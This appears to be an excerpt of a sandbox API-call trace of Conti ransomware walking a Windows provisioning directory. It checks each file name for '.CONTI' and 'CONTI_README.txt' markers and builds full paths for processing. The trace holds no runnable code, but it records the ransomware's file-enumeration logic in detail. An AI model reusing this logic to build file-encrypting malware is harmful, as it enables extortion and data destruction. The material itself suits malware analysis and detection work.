	[0109.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.664] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="57__CO~1.PRO")) returned 1
	[0109.664] lstrcmpiW (lpString1="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.664] lstrcmpiW (lpString1="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.664] StrStrIW (lpFirst="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.664] StrStrIW (lpFirst="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.665] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.665] lstrlenW (lpString="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml") returned 61
	[0109.665] GetProcessHeap () returned 0x1720000
	[0109.665] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e0be0
	[0109.665] lstrcpyW (in: lpString1=0x17e0be0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml"
	[0109.665] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="580__C~1.PRO")) returned 1
	[0109.665] lstrcmpiW (lpString1="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.665] lstrcmpiW (lpString1="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.665] StrStrIW (lpFirst="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.665] StrStrIW (lpFirst="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.665] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.665] lstrlenW (lpString="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.665] GetProcessHeap () returned 0x1720000
	[0109.665] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d6808
	[0109.665] lstrcpyW (in: lpString1=0x17d6808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.665] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="581__C~1.PRO")) returned 1
	[0109.665] lstrcmpiW (lpString1="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.665] lstrcmpiW (lpString1="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.665] StrStrIW (lpFirst="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.665] StrStrIW (lpFirst="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.665] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.665] lstrlenW (lpString="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.665] GetProcessHeap () returned 0x1720000
	[0109.665] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d79f8
	[0109.665] lstrcpyW (in: lpString1=0x17d79f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.666] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="582__C~1.PRO")) returned 1
	[0109.666] lstrcmpiW (lpString1="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.666] lstrcmpiW (lpString1="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.666] StrStrIW (lpFirst="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.666] StrStrIW (lpFirst="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.666] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.666] lstrlenW (lpString="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.666] GetProcessHeap () returned 0x1720000
	[0109.666] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d81a8
	[0109.666] lstrcpyW (in: lpString1=0x17d81a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.666] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="583__C~1.PRO")) returned 1
	[0109.666] lstrcmpiW (lpString1="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.666] lstrcmpiW (lpString1="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.666] StrStrIW (lpFirst="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.666] StrStrIW (lpFirst="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.666] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.666] lstrlenW (lpString="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.666] GetProcessHeap () returned 0x1720000
	[0109.666] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d6430
	[0109.666] lstrcpyW (in: lpString1=0x17d6430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.666] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="584__C~1.PRO")) returned 1
	[0109.666] lstrcmpiW (lpString1="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.666] lstrcmpiW (lpString1="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.666] StrStrIW (lpFirst="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.666] StrStrIW (lpFirst="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.667] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.667] lstrlenW (lpString="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.667] GetProcessHeap () returned 0x1720000
	[0109.667] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bab38
	[0109.667] lstrcpyW (in: lpString1=0x65bab38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.667] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="585__C~1.PRO")) returned 1
	[0109.667] lstrcmpiW (lpString1="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.667] lstrcmpiW (lpString1="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.667] StrStrIW (lpFirst="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.667] StrStrIW (lpFirst="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.667] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.667] lstrlenW (lpString="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.667] GetProcessHeap () returned 0x1720000
	[0109.667] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bc248
	[0109.667] lstrcpyW (in: lpString1=0x65bc248, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.668] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="586__C~1.PRO")) returned 1
	[0109.668] lstrcmpiW (lpString1="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.668] lstrcmpiW (lpString1="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.668] StrStrIW (lpFirst="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.668] StrStrIW (lpFirst="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.668] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.668] lstrlenW (lpString="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.668] GetProcessHeap () returned 0x1720000
	[0109.668] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65badc8
	[0109.668] lstrcpyW (in: lpString1=0x65badc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.668] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.668] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.668] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="587__C~1.PRO")) returned 1
	[0109.668] lstrcmpiW (lpString1="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.668] lstrcmpiW (lpString1="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.668] StrStrIW (lpFirst="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
